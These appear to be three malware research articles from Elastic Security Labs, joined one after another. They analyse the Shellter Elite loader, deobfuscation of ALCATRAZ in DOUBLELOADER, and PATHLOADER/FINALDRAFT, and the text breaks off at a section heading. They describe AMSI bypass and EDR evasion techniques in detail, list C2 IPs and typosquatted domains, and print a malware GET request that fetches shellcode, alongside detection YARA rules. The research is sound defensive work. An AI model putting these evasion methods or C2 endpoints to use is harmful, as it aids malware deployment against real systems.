In Shellter Elite v11.0, by default, payloads are compressed using the LZNT1 algorithm before being encrypted.

DLL Preloading & Call Stack Evasion

The “Force Preload System Modules” feature enables preloading of essential Windows subsystem DLLs, such as advapi32.dll, wininet.dll, and crypt32.dll, to support the underlying payload’s operations. The three configurable options include:

• --Force-PreloadModules-Basic (16 general-purpose modules)
• --Force-PreloadModules-Networking (5 network-specific modules)
• --Force-PreloadModules-Custom (up to 16 user-defined modules)

These modules are being loaded through either LoadLibraryExW or LdrLoadDll. Details on API proxying through custom Vectored Exception Handlers (VEH) will be discussed in a subsequent section.

Below is an example of a list of preloaded modules in a SHELLTER-protected payload that matches the --Force-PreloadModules-Basic option, found in a sample that deploys a simple C++ loader client abusing BITS (Background Intelligent Transfer Service) for C2 – an uncommon approach favored by some threats.

The following example is a list that matches the --Force-PreloadModules-Networking option found in a sample loading LUMMA.

This feature (released in Shellter Pro Plus v10.x) leverages the call stack evasion capability to conceal the source of the LoadLibraryExW call while loading networking and cryptography-related libraries.

Below is an example of a procmon trace when loading wininet.dll, showing a truncated call stack:

In the same sample that has the --Force-PreloadModules-Basic flag enabled, we observed that the dependencies of the preloaded modules were also subject to call stack corruption. For instance, urlmon.dll also conceals the source of the LoadLibraryExW call for its dependencies iertutil.dll, srvcli.dll, and netutils.dll.

Unlinking of AV/EDR Modules

SHELLTER includes functionality to unlink decoy DLL modules that are placed inside the Process Environment Block (PEB). These decoy modules are used by some security vendors as canaries to monitor when shellcode attempts to enumerate the PEB LDR list manually. PEB LDR is a structure in Windows that contains information about a process's loaded modules.

We only observed one unique module name based on its hash (different per sample), which ends up resolving to kern3l32.dll [sic].

API Hashing Obfuscation

Observed samples employ time-based seeding to obfuscate API addresses. The malware first reads the SystemTime value from the KUSER_SHARED_DATA structure at address 0x7FFE0014 to derive a dynamic XOR key.

It then uses a seeded-ROR13 hashing algorithm on API names to resolve the function addresses at runtime.

Once resolved, optionally, these pointers are obfuscated by XORing them with the time-based key and applying a bitwise rotation before being stored in a lookup table. This tactic is applied throughout the binary to conceal a variety of data such as other function pointers, syscall stubs, and handles of loaded modules.

License Check and Self-disarm

For each SHELLTER payload, there are three embedded FILETIME structures. In an example sample, these were found to be:

• License expiry datetime (2026-04-17 19:17:24.055000)
• Self-disarm datetime (2026-05-21 19:44:43.724952)
• Infection start datetime (2025-05-21 19:44:43.724952)

The license expiry check compares the current time to the license expiry datetime, setting the license_valid flag in the context structure. There are 28 unique call sites (likely 28 licensed features) to the license validity check, where the license_valid flag determines whether the main code logic is skipped, confirming that the license expiry datetime acts as a kill switch.

By default, the self-disarm date is set exactly one year after the initial infection start date. When the self-disarm flag is triggered, several cleanup routines are executed. One such routine involves unmapping the manually loaded ntdll module (if present) and clearing the NTAPI lookup table, which references either the manually mapped ntdll module or the one loaded during process initialization.

While the Self-disarm and Infection start datetimes are different from sample to sample, we note that the License expiry datetime (2026-04-17 19:17:24.055000) remains constant.

It is possible that this time is uniquely generated for each license issued by The Shellter Project. If so, it would support the hypothesis that only a single copy of Shellter Elite has been acquired for malicious use. This value does not appear in static analysis, but shows up in the unpacked first stage.

Below is a YARA rule that can be used to identify this hardcoded license expiry value in the illicit SHELLTER samples we’ve examined:

rule SHELLTER_ILLICIT_LICENSE {  
    meta:  
        author = "Elastic Security"  
        last_modified = "2025-07-01"  
        os = "Windows"  
        family = "SHELLTER"  
        threat_name = "SHELLTER_ILLICIT_LICENSE"

    strings:

        // 2026-04-17 19:17:24.055000  
        $license_server = { c7 84 24 70 07 00 00 70 5e 2c d2 c7 84 24 74 07 00 00 9e ce dc 01}

    condition:  
        any of them  
}  

Memory Scan Evasion

SHELLTER-protected samples implemented various techniques, including runtime evasions, to avoid detection. These types of techniques include:

• Decoding and re-encoding instructions at runtime
• Removal of execute permissions on inactive memory pages
• Reducing footprint, impacting in-memory signatures using YARA
• Using Windows internals structures, such as the PEB, as temporary data holding spots

SHELLTER generates a trampoline-style stub based on the operating system version. There is a 4 KB page that holds this stub, where the memory permissions fluctuate using NtQueryVirtualMemory and NtProtectVirtualMemory.

Once the page is active, the encoded bytes can be observed at this address, 0x7FF5FFCE0000.

SHELLTER decodes this page when active through an XOR loop using the derived SystemTime key from the KUSER_SHARED_DATA structure.

Below is this same memory page (0x7FF5FFCE0000), showing the decoded trampoline stub for the syscall (ntdll_NtOpenFile).

When the functionality is needed, the memory page permissions are set with Read/Execute (RX) permissions. After execution, the pages are set to inactive.

The continuous protection of key functionality during runtime complicates both analysis and detection efforts. This level of protection is uncommon in general malware samples.

Indirect Syscalls / Call stack Corruption

As shown in the previous section, SHELLTER bypasses user-mode hooks by using trampoline-based indirect syscalls. Instead of invoking syscall directly, it prepares the stack with the address of a clean syscall instruction from ntdll.dll. A ret instruction then pops this address into the RIP register, diverting execution to the syscall instruction stealthily.

Below is an example of Elastic Defend VirtualProtect events, showing the combination of the two evasions (indirect syscall and call stack truncation). This technique can bypass or disrupt various security detection mechanisms.

Advanced VM/Sandbox Detection

SHELLTER’s documentation makes a reference to a hypervisor detection feature. A similar capability is observed in our malicious samples after a call to ZwQuerySystemInformationEx using CPUID and _bittest instructions. This functionality returns various CPU information along with the Hyper-Threading Technology (HTT) flag.

Debugger Detection (UM/KM)

SHELLTER employs user-mode and kernel-mode debugging detection using Process Heap flags and checking the KdDebuggerEnabled flag via the _KUSER_SHARED_DATA structure.

AMSI Bypass

There are two methods of AMSI bypassing. The first method involves in-memory patching of AMSI functions. This technique searches the functions for specific byte patterns and modifies them to alter the function’s logic. For example, it overwrites a 4-byte string "AMSI" with null bytes and patches conditional jumps to its opposite.

The second method is slightly more sophisticated. First, it optionally attempts to sabotage the Component Object Model (COM) interface lookup by finding the CLSID_Antimalware GUID constant {fdb00e52-a214-4aa1-8fba-4357bb0072ec} within amsi.dll, locating a pointer to it in a writable data section, and corrupting that pointer to make it point 8 bytes before the actual GUID.

The targeted pointer is the CLSID pointer in the AMSI module's Active Template Library (ATL) object map entry, a structure used by the DllGetClassObject function to find and create registered COM classes. By corrupting the pointer in this map, the lookup for the antimalware provider will fail, preventing it from being created, thus causing AmsiInitialize to fail with a CLASS_E_CLASSNOTAVAILABLE exception.

It then calls AmsiInitialize - If the previous patch did not take place and the API call is successful, it performs a vtable patch as a fallback mechanism. The HAMSICONTEXT obtained from AmsiInitialize contains a pointer to an IAntimalware COM object, which in turn contains a pointer to its virtual function table. The bypass targets the function IAntimalware::Scan in this table. To neutralize it, the code searches the memory page containing the IAntimalware::Scan function for a ret instruction.

After finding a suitable gadget, it overwrites the Scan function pointer with the address of the ret gadget. The result is that any subsequent call to AmsiScanBuffer or AmsiScanString will invoke the patched vtable, jump directly to a ret instruction, and immediately return.

Vectored Exception Handler API Proxy

There is a sophisticated API proxying mechanism which is achieved by redirecting calls to resolved APIs and crafted syscall stubs through a custom exception handler, which acts as a control-flow proxy. It can be broken down into two phases: setup and execution.

Phase 1 involves allocating two special memory pages that will serve as “triggers” for the exception handler. Protection for these pages are set to PAGE_READONLY, and attempting to execute code there will cause a STATUS_ACCESS_VIOLATION exception, which is intended. The addresses of these trigger pages are stored in the context structure:

• api_call_trigger_page - The page that will be called to initiate the proxy.
• api_return_trigger_page - The page that the actual API will return to.

An exception handler template from the binary is copied into an allocated region and registered as the primary handler for the process using RtlAddVectoredExceptionHandler. A hardcoded magic placeholder value (0xe1e2e3e4e5e6e7e8) in the handler is then overwritten with a pointer to the context structure itself.

Looking at an example callsite, if the VEH proxy is to be used, the address of GetCurrentDirectoryA will be stored into ctx_struct->target_API_function, and the API function pointer is overwritten with the address of the call trigger page. This trigger page is then called, triggering a STATUS_ACCESS_VIOLATION exception.

Control flow is redirected to the exception handler. The faulting address of the exception context is checked, and if it matches the call trigger page, it knows it is an incoming API proxy call and performs the following:

• Save the original return address
• Overwrite the return address on the stack with the address of the return trigger page
• Sets the RIP register to the actual API address saved previously in ctx_struct->target_API_function.

The GetCurrentDirectoryA call is then executed. When it finishes, it jumps to the return trigger page, causing a second STATUS_ACCESS_VIOLATION exception and redirecting control flow back to the exception handler. The faulting address is checked to see if it matches the return trigger page; if so, RIP is set to the original return address and the control flow returns to the original call site.

Campaigns

In June, Elastic Security Labs identified multiple campaigns deploying various information stealers protected by Shellter Elite as recorded by license information present in each binary. By taking advantage of the above tooling, we observed threat actors across different campaigns quickly integrate this highly evasive loader into their own workflows.

LUMMA

LUMMA infostealer was being distributed with SHELLTER starting in late April, as evidenced by metadata within binaries. While the initial infection vector is not clear, we were able to verify (using ANY.RUN) that related files were being hosted on the MediaFire file hosting platform.

Want-to-Sell

On May 16th, Twitter/X user @darkwebinformer posted a screenshot with the caption:

🚨Shellter Elite v11.0 up for sale on a popular forum

“Exploit Garant” in this case refers to an escrow-like third-party that mediates the transaction.

ARECHCLIENT2

Starting around May, we observed campaigns targeting content creators with lures centered around sponsorship opportunities. These appear to be phishing emails sent to individuals with a YouTube channel impersonating brands such as Udemy, Skillshare, Pinnacle Studio, and Duolingo. The emails include download links to archive files (.rar), which contain legitimate promotional content packaged with a SHELLTER-protected executable.

This underlying executable shares traits and behaviors with our previous SHELLTER analysis. As of this writing, we can still see samples with very low detection rates in VirusTotal. This is due to multiple factors associated with custom-built features to avoid static analysis, including polymorphic code, backdooring code into legitimate applications, and the application of code-signing certificates.

The embedded payload observed in this file deploys the infostealer ARECHCLIENT2, also known as SECTOP RAT. The C2 for this stealer points to 185.156.72[.]80:15847, which was previously identified by our team on June 17th when we discussed this threat in association with the GHOSTPULSE loader.

RHADAMANTHYS

These infections begin with YouTube videos targeting topics such as game hacking and gaming mods, with video comments linking to the malicious files hosted on MediaFire.

One of the files that was previously distributed using this method has been submitted 126 unique times as of this publication by different individuals.

This file shares the same behavioral characteristics as the same underlying code from the previous SHELLTER analysis sections. The embedded payload with this sample deploys RHADAMANTHYS infostealer.

SHELLTER Unpacker

Elastic Security Labs is releasing a dynamic unpacker for binaries protected by SHELLTER. This tool leverages a combination of dynamic and static analysis techniques to automatically extract multiple payload stages from a SHELLTER-protected binary.

As SHELLTER offers a wide range of optional features, this unpacker is not fully comprehensive, although it does successfully process a large majority of tested samples. Even with unsupported binaries, it is typically able to extract at least one payload stage.

For safety reasons, this tool should only be executed within an isolated virtual machine. During the unpacking process, potentially malicious executable code is mapped into memory. Although some basic safeguards have been implemented, they are not infallible.

Conclusion

Despite the commercial OST community's best efforts to retain their tools for legitimate purposes, mitigation methods are imperfect. They, like many of our customers, face persistent, motivated attackers. Although the Shellter Project is a victim in this case through intellectual property loss and future development time, other participants in the security space must now contend with real threats wielding more capable tools.

We expect:

• This illicit version of SHELLTER will continue to circulate through the criminal community and potentially transition to nation-state-aligned actors.
• The Shellter Project will update and release a version that mitigates the detection opportunities identified in this analysis.
  • Any new tooling will remain a target for malicious actors.
• More advanced threats will analyze these samples and incorporate features into their toolsets.

Our aim is that this analysis will aid defenders in the early detection of these identified infostealer campaigns and prepare them for a potential expansion of these techniques to other areas of the offensive landscape.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Command and Control
• Collection
• Defense Evasion
• Execution
• Initial Access
• Resource Development

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Application Layer Protocol
• Data from Local System
• Process Injection: Thread Execution Hijacking
• Obfuscated Files or Information: Junk Code Insertion
• Content Injection
• Obtain Capabilities

Mitigating SHELLTER

Prevention

• Shellcode from Unusual Microsoft Signed Module
• Unbacked Shellcode from Unsigned Module
• Shellcode Execution from Low Reputation Module
• Potential Evasion via Invalid Code Signature
• Thread Suspension from Unbacked Memory
• Suspicious Executable Memory Mapping

YARA

Elastic Security has created YARA rules to identify this activity.

rule Windows_Trojan_Shellter {  
    meta:  
        author = "Elastic Security"  
        creation_date = "2025-06-30"  
        last_modified = "2025-06-30"  
        os = "Windows"  
        arch = "x86"  
        category_type = "Trojan"  
        family = "Shellter"  
        threat_name = "Windows.Trojan.Shellter"  
        reference_sample = "c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30"

    strings:  
        $seq_api_hashing = { 48 8B 44 24 ?? 0F BE 00 85 C0 74 ?? 48 8B 44 24 ?? 0F BE 00 89 44 24 ?? 48 8B 44 24 ?? 48 FF C0 48 89 44 24 ?? 8B 04 24 C1 E8 ?? 8B 0C 24 C1 E1 ?? 0B C1 }  
        $seq_debug = { 48 8B 49 30 8B 49 70 8B 40 74 0B C1 25 70 00 00 40 85 C0 75 22 B8 D4 02 00 00 48 05 00 00 FE 7F }  
        $seq_mem_marker = { 44 89 44 24 ?? 89 54 24 ?? 48 89 4C 24 ?? 33 C0 83 F8 ?? 74 ?? 48 8B 44 24 ?? 8B 4C 24 ?? 39 08 75 ?? EB ?? 48 63 44 24 ?? 48 8B 4C 24 }  
        $seq_check_jmp_rcx = { 48 89 4C 24 ?? B8 01 00 00 00 48 6B C0 00 48 8B 4C 24 ?? 0F B6 04 01 3D FF 00 00 00 75 ?? B8 01 00 00 00 48 6B C0 01 48 8B 4C 24 ?? 0F B6 04 01 3D E1 00 00 00 75 ?? B8 01 00 00 00 }  
        $seq_syscall_stub = { C6 84 24 98 00 00 00 4C C6 84 24 99 00 00 00 8B C6 84 24 9A 00 00 00 D1 C6 84 24 9B 00 00 00 B8 C6 84 24 9C 00 00 00 00 C6 84 24 9D 00 00 00 00 C6 84 24 9E 00 00 00 00 }  
        $seq_mem_xor = { 48 8B 4C 24 ?? 0F B6 04 01 0F B6 4C 24 ?? 3B C1 74 ?? 8B 44 24 ?? 0F B6 4C 24 ?? 48 8B 54 24 ?? 0F B6 04 02 33 C1 8B 4C 24 ?? 48 8B 54 24 ?? 88 04 0A }  
        $seq_excep_handler = { 48 89 4C 24 08 48 83 EC 18 48 B8 E8 E7 E6 E5 E4 E3 E2 E1 48 89 04 24 48 8B 44 24 20 48 8B 00 81 38 05 00 00 C0 }  
    condition:  
        3 of them  
}  

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://x.com/DarkWebInformer/status/1923472392157790700
• https://www.shellterproject.com/shellter-editions-feature-comparison-table/
• https://www.shellterproject.com/Downloads/ShellterElite/Shellter_Elite_Exclusive_Features.pdf
• https://github.com/elastic/labs-releases/tree/main/tools/shellter

Elastic Security Labs analyzes diverse malware that comes through our threat hunting pipelines and telemetry queues. We recently ran into a new malware family called DOUBLELOADER, seen alongside the RHADAMANTHYS infostealer. One interesting attribute of DOUBLELOADER is that it is protected with an open-source obfuscator, ALCATRAZ first released in 2023. While this project had its roots in the game hacking community, it’s also been observed in the e-crime space, and has been used in targeted intrusions.

The objective of this post is to walk through various obfuscation techniques employed by ALCATRAZ, while highlighting methods to combat these techniques as malware analysts. These techniques include control flow flattening, instruction mutation, constant unfolding, LEA constant hiding, anti-disassembly tricks and entrypoint obfuscation.

Key takeaways

• The open-source obfuscator ALCATRAZ has been seen within new malware deployed alongside RHADAMANTHYS infections
• Obfuscation techniques such as control flow flattening continue to serve as road blocks for analysts
• By understanding obfuscation techniques and how to counter them, organizations can improve their ability to effectively triage and analyze protected binaries.
• Elastic Security Labs releases tooling to deobfuscate ALCATRAZ protected binaries are released with this post

DOUBLELOADER

Starting last December, our team observed a generic backdoor malware coupled with RHADAMANTHYS stealer infections. Based on the PDB path, this malware is self-described as DOUBLELOADER.

This malware leverages syscalls such as NtOpenProcess, NtWriteVirtualMemory, NtCreateThreadEx launching unbacked code within the Windows desktop/file manager (explorer.exe). The malware collects host information, requests an updated version of itself and starts beaconing to a hardcoded IP (185.147.125.81) stored within the binary.

DOUBLELOADER samples include a non-standard section (.0Dev) with executable permissions, this is a toolmark left based on the author's handle for the binary obfuscation tool, ALCATRAZ.

Obfuscators such as ALCATRAZ end up increasing the complexity when triaging malware. Its main goal is to hinder binary analysis tools and increase the time of the reverse engineering process through different techniques; such as hiding the control flow or making decompilation hard to follow. Below is an example of obfuscated control flow of one function inside DOUBLELOADER.

The remainder of the post will focus on the various obfuscation techniques used by ALCATRAZ. We will use the first-stage of DOUBLELOADER along with basic code examples to highlight ALCATRAZ's features.

ALCATRAZ

ALCATRAZ Overview

Alcatraz is an open-source obfuscator initially released in January 2023. While the project is recognized within the game hacking community as a foundational tool for learning obfuscation techniques, it’s also been observed being abused by e-crime and APT groups.

Alcatraz’s code base contains 5 main features centered around standard code obfuscation techniques along with enhancement to obfuscate the entrypoint. Its workflow follows a standard bin2bin format, this means the user provides a compiled binary then after the transformations, they will receive a new compiled binary. This approach is particularly appealing to game hackers/malware developers due to its ease of use, requiring minimal effort and no modifications at the source code level.

The developer can choose to obfuscate all or specific functions as well as choose which obfuscation techniques to apply to each function. After compilation, the file is generated with the string (obf) appended to the end of the filename.

Obfuscation techniques in ALCATRAZ

The following sections will go through the various obfuscation techniques implemented by ALCATRAZ.

Entrypoint obfuscation

Dealing with an obfuscated entrypoint is like getting a flat tire at the start of a family roadtrip. The idea is centered on confusing analysts and binary tooling where it’s not directly clear where the program starts, causing confusion at the very beginning of the analysis process.

The following is the view of a clean entrypoint (0x140001368) from a non-obfuscated program within IDA Pro.

By enabling entrypoint obfuscation, ALCATRAZ moves the entrypoint then includes additional code with an algorithm to calculate the new entrypoint of the program. Below is a snippet of the decompiled view of the obfuscated entry-point.

As ALCATRAZ is an open-source obfuscator, we can find the custom entrypoint code to see how the calculation is performed or reverse our own obfuscated example. In our decompilation, we can see the algorithm uses a few fields from the PE header such as the Size of the Stack Commit, Time Date Stamp along with the first four bytes from the .0dev section. These fields are parsed then used with bitwise operations such as rotate right (ROR) and exclusive-or (XOR) to calculate the entrypoint.

Below is an example output of IDA Python script (Appendix A) that parses the PE and finds the true entrypoint, confirming the original starting point (0x140001368) with the non-obfuscated sample.

Anti-disassembly

Malware developers and obfuscators use anti-disassembly tricks to confuse or break disassemblers in order to make static analysis harder. These techniques abuse weaknesses during linear sweeps and recursive disassembly, preventing clean code reconstruction where the analyst is then forced to manually or automatically fix the underlying instructions.

ALCATRAZ implements one form of this technique by modifying any instructions starting with the 0xFF byte by adding a short jump instruction ( 0xEB) in front. The 0xFF byte can represent the start of multiple valid instructions dealing with calls, indirect jumps, pushes on the stack. By adding the short jump 0xEB in front, this effectively jumps to the next byte 0xFF. While it’s not complex, the damage is done breaking disassembly and requiring some kind of intervention.

In order to fix this specific technique, the file can be patched by replacing each occurrence of the 0xEB byte with NOPs. After patching, the code is restored to a cleaner state, allowing the following call instruction to be correctly disassembled.

Instruction Mutation

One common technique used by obfuscators is instruction mutation, where instructions are transformed in a way that preserves their original behavior, but makes the code harder to understand. Frameworks such as Tigress or Perses are great examples of obfuscation research around instruction mutation.

Below is an example of this technique implemented by ALCATRAZ, where any addition between two registers is altered, but its semantic equivalence is kept intact. The simple add instruction gets transformed to 5 different instructions (push, not, sub, pop, sub).

In order to correct this, we can use pattern matching to find these 5 instructions together, disassemble the bytes to find which registers are involved, then use an assembler such as Keystone to generate the correct corresponding bytes.

Constant Unfolding

This obfuscation technique is prevalent throughout the DOUBLELOADER sample and is a widely used method in various forms of malware. The concept here is focused on inversing the compilation process; where instead of optimizing calculations that are known at compile time, the obfuscator “unfolds” these constants making the disassembly and decompilation complex and confusing. Below is a simple example of this technique where the known constant (46) is broken up into two mathematical operations.

In DOUBLELOADER, we run into this technique being used anytime when immediate values are moved into a register. These immediate values are replaced with multiple bitwise operations masking these constant values, thus disrupting any context and the analyst’s flow. For example, in the disassembly below on the left-hand side, there is a comparison instruction of EAX value at address (0x18016CD93). By reviewing the previous instructions, it’s not obvious or clear what the EAX value should be due to multiple obscure bitwise calculations. If we debug the program, we can see the EAX value is set to 0.

In order to clean this obfuscation technique, we can confirm its behavior with our own example where we can use the following source code and see how the transformation is applied.

#include <iostream>

int add(int a, int b)
{
	return a + b;
}

int main()
{
	int c;
	c = add(1, 2);
	printf("Meow %d",c);
	return 0;
}

After compiling, we can view the disassembly of the main function in the clean version on the left and see these two constants (2,1) moved into the EDX and ECX register. On the right side, is the transformed version, the two constants are hidden among the newly added instructions.

By using pattern matching techniques, we can look for these sequences of instructions, emulate the instructions to perform the various calculations to get the original values back, and then patch the remaining bytes with NOP’s to make sure the program will still run.

LEA Obfuscation

Similar to the previously discussed technique, LEA (Load Effective Address) obfuscation is focused on obscuring the immediate values associated with LEA instructions. An arithmetic calculation with subtraction will follow directly behind the LEA instruction to compute the original intended value. While this may seem like a minor change, it can have a significant impact breaking cross-references to strings and data — which are essential for effective binary analysis.

Below is an example of this technique within DOUBLELOADER where the RAX register value is disguised through a pattern of loading an initial value (0x1F4DFCF4F), then subtracting (0x74D983C7) to give us a new computed value (0x180064B88).

If we go to that address inside our sample, we are taken to the read-only data section, where we can find the referenced string bad array new length.

In order to correct this technique, we can use pattern matching to find these specific instructions, perform the calculation, then re-construct a new LEA instruction. Within 64-bit mode, LEA uses RIP-relative addressing so the address is calculated based on the current instruction pointer (RIP). Ultimately, we end up with a new instruction that looks like this: lea rax, [rip - 0xFF827].

Below are the steps to produce this final instruction:

With this information, we can use IDA Python to patch all these patterns out, below is an example of a fixed LEA instruction.

Control Flow Obfuscation

Control flow flattening is a powerful obfuscation technique that disrupts the traditional structure of a program’s control flow by eliminating conventional constructs like conditional branches and loops. Instead, it restructures execution using a centralized dispatcher, which determines the next basic block to execute based on a state variable, making analysis and decompilation significantly more difficult. Below is a simple diagram that represents the differences between an unflattened and flattened control flow.

Our team has observed this technique in various malware such as DOORME and it should come as no surprise in this case, that flattened control flow is one of the main features within the ALCATRAZ obfuscator. In order to approach un-flattening, we focused on established tooling by using IDA plugin D810 written by security researcher Boris Batteux.

We will start with our previous example program using the common _security_init_cookie function used to detect buffer overflows. Below is the control flow diagram of the cookie initialization function in non-obfuscated form. Based on the graph, we can see there are six basic blocks, two conditional branches, and we can easily follow the execution flow.

If we take the same function and apply ALCATRAZ's control flow flattening feature, the program’s control flow looks vastly different with 22 basic blocks, 8 conditional branches, and a new dispatcher. In the figure below, the color-filled blocks represent the previous basic blocks from the non-obfuscated version, the remaining blocks in white represent added obfuscator code used for dispatching and controlling the execution.

If we take a look at the decompilation, we can see the function is now broken into different parts within a while loop where a new state variable is used to guide the program along with remnants from the obfuscation including popf/pushf instructions.

For cleaning this function, D810 applies two different rules (UnflattenerFakeJump, FixPredecessorOfConditionalJumpBlock) that apply microcode transformations to improve decompilation.

2025-04-03 15:44:50,182 - D810 - INFO - Starting decompilation of function at 0x140025098
2025-04-03 15:44:50,334 - D810 - INFO - glbopt finished for function at 0x140025098
2025-04-03 15:44:50,334 - D810 - INFO - BlkRule 'UnflattenerFakeJump' has been used 1 times for a total of 3 patches
2025-04-03 15:44:50,334 - D810 - INFO - BlkRule 'FixPredecessorOfConditionalJumpBlock' has been used 1 times for a total of 2 patches

When we refresh the decompiler, the control-flow flattening is removed, and the pseudocode is cleaned up.

While this is a good example, fixing control-flow obfuscation can often be a manual and timely process that is function-dependent. In the next section, we will gather up some of the techniques we learned and apply it to DOUBLELOADER.

Cleaning a DOUBLELOADER function

One of the challenges when dealing with obfuscation in malware is not so much the individual obfuscation techniques, but when the techniques are layered. Additionally, in the case of DOUBLELOADER, large portions of code are placed in function chunks with ambiguous boundaries, making it challenging to analyze. In this section, we will go through a practical example showing the cleaning process for a DOUBLELOADER function protected by ALCATRAZ.

Upon launch at the Start export, one of the first calls goes to loc_18016C6D9. This appears to be an entry to a larger function, however IDA is not properly able to create a function due to undefined instructions at 0x18016C8C1.

If we scroll to this address, we can see the first disruption is due to the short jump anti-disassembly technique which we saw earlier in the blog post (EB FF).

After fixing 6 nearby occurrences of this same technique, we can go back to the start address (0x18016C6D9) and use the MakeFunction feature. While the function will decompile, it is still heavily obfuscated which is not ideal for any analysis.

Going back to the disassembly, we can see the LEA obfuscation technique used in this function below where the string constant ”Error” is now recovered using the earlier solution.

Another example below shows the transformation of an obfuscated parameter for a LoadIcon call where the lpIconName parameter gets cleaned to 0x7f00 (IDI_APPLICATION).

Now that the decompilation has improved, we can finalize the cleanup by removing control flow obfuscation with the D810 plugin. Below is a demonstration showing the before and after effects.

This section has covered a real-world scenario of working towards cleaning a malicious obfuscated function protected by ALCATRAZ. While malware analysis reports often show the final outcomes, a good portion of time is often spent up-front working towards removing obfuscation and fixing up the binary so it can then be properly analyzed.

IDA Python Scripts

Our team is releasing a series of proof-of-concept IDA Python scripts used to handle the default obfuscation techniques imposed by the ALCATRAZ obfuscator. These are meant to serve as basic examples when dealing with these techniques, and should be used for research purposes. Unfortunately, there is no silver bullet when dealing with obfuscation, but having some examples and general strategies can be valuable for tackling similar challenges in the future.

YARA

Elastic Security has created YARA rules to identify this activity.

• Windows.Trojan.DoubleLoader

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://github.com/weak1337/Alcatraz
• https://gitlab.com/eshard/d810
• https://eshard.com/posts/d810-deobfuscation-ida-pro
• http://keowu.re/posts/Analyzing-Mutation-Coded-VM-Protect-and-Alcatraz-English/

While investigating REF7707, Elastic Security Labs discovered a new family of previously unknown malware that leverages Outlook as a communication channel via the Microsoft Graph API. This post-exploitation kit includes a loader, a backdoor, and multiple submodules that enable advanced post-exploitation activities.

Our analysis uncovered a Linux variant and an older PE variant of the malware, each with multiple distinct versions that suggest these tools have been under development for some time.

The completeness of the tools and the level of engineering involved suggest that the developers are well-organized. The extended time frame of the operation and evidence from our telemetry suggest it’s likely an espionage-oriented campaign.

This report details the features and capabilities of these tools.

For the campaign analysis of REF7707 - check out From South America to Southeast Asia: The Fragile Web of REF7707.

Technical Analysis

PATHLOADER

PATHLOADER is a Windows PE file that downloads and executes encrypted shellcode retrieved from external infrastructure.

Our team recovered and decrypted the shellcode retrieved by PATHLOADER, extracting a new implant we have not seen publicly reported, which we call FINALDRAFT. We believe these two components are used together to infiltrate sensitive environments.

Configuration

PATHLOADER is a lightweight Windows executable at 206 kilobytes; this program downloads and executes shellcode hosted on a remote server. PATHLOADER includes an embedded configuration stored in the .data section that includes C2 and other relevant settings.

After Base64 decoding and converting from the embedded hex string, the original configuration is recovered with two unique typosquatted domains resembling security vendors.

https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*

Configuration from PATHLOADER

API Hashing

In order to block static analysis efforts, PATHLOADER performs API hashing using the Fowler–Noll–Vo hash function. This can be observed based on the immediate value 0x1000193 found 37 times inside the binary. The API hashing functionality shows up as in-line as opposed to a separate individual function.

String Obfuscation

PATHLOADER uses string encryption to obfuscate functionality from analysts reviewing the program statically. While the strings are easy to decrypt while running or if using a debugger, the obfuscation shows up in line, increasing the complexity and making it more challenging to follow the control flow. This obfuscation uses SIMD (Single Instruction, Multiple Data) instructions and XMM registers to transform the data.

One string related to logging WinHttpSendRequest error codes used by the malware developer was left unencrypted.

Execution/Behavior

Upon execution, PATHLOADER employs a combination of GetTickCount64 and Sleep methods to avoid immediate execution in a sandbox environment. After a few minutes, PATHLOADER parses its embedded configuration, cycling through both preconfigured C2 domains (poster.checkponit[.]com, support.fortineat[.]com) attempting to download the shellcode through HTTPS GET requests.

GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36

The shellcode is AES encrypted and Base64 encoded. The AES decryption is performed using the shellcode download URL path “/nzoMeFYgvjyXK3P” as the 128-bit key used in the call to the CryptImportKey API.

After the CryptDecrypt call, the decrypted shellcode is copied into previously allocated memory. The memory page is then set to PAGE_EXECUTE_READ_WRITE using the NtProtectVirtualMemory API. Once the page is set to the appropriate protection, the shellcode entrypoint is called, which in turn loads and executes the next stage: FINALDRAFT.

FINALDRAFT

FINALDRAFT is a 64-bit malware written in C++ that focuses on data exfiltration and process injection. It includes additional modules, identified as parts of the FINALDRAFT kit, which can be injected by the malware. The output from these modules is then forwarded to the C2 server.

Entrypoint

FINALDRAFT exports a single entry point as its entry function. The name of this function varies between samples; in this sample, it is called UpdateTask.

Initialization

The malware is initialized by loading its configuration and generating a session ID.

Configuration loading process

The configuration is hardcoded in the binary in an encrypted blob. It is decrypted using the following algorithm.

for ( i = 0; i < 0x149A; ++i )
  configuration[i] ^= decryption_key[i & 7];

Decryption algorithm for configuration data

The decryption key is derived either from the Windows product ID (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId) or from a string located after the encrypted blob. This is determined by a global flag located after the encrypted configuration blob.

The decryption key derivation algorithm is performed as follows:

uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &data_source[data_source_length] );

Decryption key derivation algorithm

The configuration structure is described as follows:

struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};

Configuration structure

The configuration is consistent across variants and versions, although not all fields are utilized. For example, the communication method field wasn't used in the main variant at the time of this publication, and only the MSGraph/Outlook method was used. However, this is not the case in the ELF variant or prior versions of FINALDRAFT.

The configuration also contains a Pastebin URL, which isn’t used across any of the variants. However, this URL was quite useful to us for pivoting from the initial sample.

Session ID derivation process

The session ID used for communication between FINALDRAFT and C2 is generated by creating a random GUID, which is then processed using the Fowler-Noll-Vo (FNV) hash function.

Communication protocol

